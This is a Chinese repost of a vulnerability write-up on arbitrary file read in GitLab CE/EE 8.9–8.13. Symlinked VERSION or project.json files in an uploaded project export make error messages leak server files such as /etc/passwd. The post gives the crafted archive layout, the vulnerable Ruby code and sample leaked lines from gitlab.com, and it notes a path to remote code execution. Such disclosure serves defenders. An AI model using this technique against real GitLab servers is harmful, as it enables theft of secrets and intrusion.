记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

GitLab application server 文件读取导致命令执行漏洞

2016-11-05 02:05

概要

GitLab CE / EE的 8.9、8.10、8.11、8.12和8.13等版本容易受到任意文件读取漏洞的攻击。该漏洞可被用来于获取应用程序的隐私信息。这些信息可用于在应用程序服务器上获得命令执行访问。

漏洞详情

GitLab export上传功能存在一个漏洞,该漏洞允许攻击者读取GitLab实例上的任意文件。此漏洞是由JSON.parse的行为、错误处理以及在GitLab export中引用符号链接的可能性引起的。当我开始研究这个功能时,我创建了一个演示库,并通过项目的管理面板创建一个GitLab exports。 创建新项目时可以导入,例如https://gitlab.com/projects/new(点击GitLab exports)。提取的GitLab export文件包含以下文件:

export $ ls -lash
total 48
 8 -rw-r--r--@   1 jobert  staff     5B Oct 25 19:52 VERSION
 8 -rw-r--r--@   1 jobert  staff   341B Oct 25 19:53 project.bundle
 8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 project.json

当导出文件再次上传时,会发生几个事情。发生的前三个事情是按照这个顺序:直到文件写入磁盘之前一直在等待(对于大的存储),基于版本文件版本检查,并创造一种新的基于project.json项目模型实例。第一步并不重要,让我们看看第二步执行的代码(Gitlab::ImportExport::VersionChecker的12行到18行):

def check!
  version = File.open(version_file, &:readline)
  verify_version!(version)
rescue => e
  shared.error(e)
  false
end

注意第13行,它将文件打开并调用readline方法,返回文件的第一行。在第16行捕获任何异常,异常消息被推送到errors数组,所有这些错误都返回到前端。看看同一文件内的第27-31行代码:

if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
  raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")
else
  true
end

这里指如果版本不正确,将返回一个包含GitLab export 中提供的版本的异常。让我们解开压GitLab导出,用符号链接替换VERSION文件,并重新启动GitLab export 。用符号链接替换VERSION文件,并重新打包GitLab export 。Tar包的结构将如下所示:

export $ ls -lash
 8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 VERSION -> /etc/passwd
 8 -rw-r--r--@   1 jobert  staff   341B Oct 25 19:53 project.bundle
 8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 project.json

创建新的GitLab export (在导出目录中运行tar -czvf test.tar.gz命令)后,可以上传新的GitLab export 。通过这样做,因为版本匹配器引发异常,GitLab实例将返回错误的第一行:

screen_shot_2016-10-25_at_19-28-51-1

但是,这只有一个文件的第一行可以读取。这比整个文件可以读取更难以利用。我一直在挖,看看是否有读取整个文件的方法。正如我之前指出的,导入过程的第三步是创建一个Project模型的新实例。它执行以下代码(Gitlab::ImportExport::ProjectTreeRestorer的第11行到22行):

def restore
  json = IO.read(@path)
  tree_hash = ActiveSupport::JSON.decode(json)
  project_members = tree_hash.delete('project_members')

  ActiveRecord::Base.no_touching do
    create_relations
  end
rescue => e
  shared.error(e)
  false
end

实现与版本检查类似的代码结构:捕获在第13-18行中抛出的任何异常,并将错误消息推送到errors数组。它不是立即从代码中清除,但是JSON解码的ActiveSupport实现使用JSON.parse,当解码失败时,它返回错误消息中要解码的整个字符串的内容。这意味着如果我们可以让解码器引发异常,我们就可以读取文件的内容。考虑到这个文件结构并不是很难:

export $ ls -lash
 8 -rw-r--r--@   1 jobert  staff    11B Oct 25 20:43 VERSION
 8 -rw-r--r--@   1 jobert  staff   341B Oct 25 19:53 project.bundle
 8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 project.json -> /etc/passwd

在本例中,project.json文件符号链接到/etc/passwd。第14行调用的IO.read方法将链接读取一个文件的内容。显然,/etc/passwd文件不包含有效的JSON,因此会导致/etc/passwd的内容异常。使用tar再次压缩文件以准备上传。附加了一个示例文件:test.tar.gz(F130233)。导入此文件时,它会在错误消息中显示链接文件的内容:

screen_shot_2016-10-25_at_20-55-36

为了证明这不是我自己的/etc/passwd文件,这里是gitlab.com的/etc/passwd文件最后五行。

alejandro:x:1117:1117::/home/alejandro:/bin/bash
prometheus:x:999:999::/opt/prometheus:/bin/false
gitlab-monitor:x:998:998::/opt/gitlab-monitor:/bin/false
postgres:x:116:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
brian:x:1118:1118::/home/brian:/bin/bash

有了这个问题,GitLab rails项目的隐私信息也可以被读取。因为Cookie可以被整理并利用,这将导致RCE。它似乎还授予访问内部GitLabGitLab shell tokens,它提供对所有存储库的访问。

未经允许不得转载: » GitLab application server 文件读取导致命令执行漏洞

知识来源: www.mottoin.com/91325.html

阅读:116216 | 评论:0 | 标签:网络安全 GitLab CE / EE 命令执行 文件读取 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“GitLab application server 文件读取导致命令执行漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词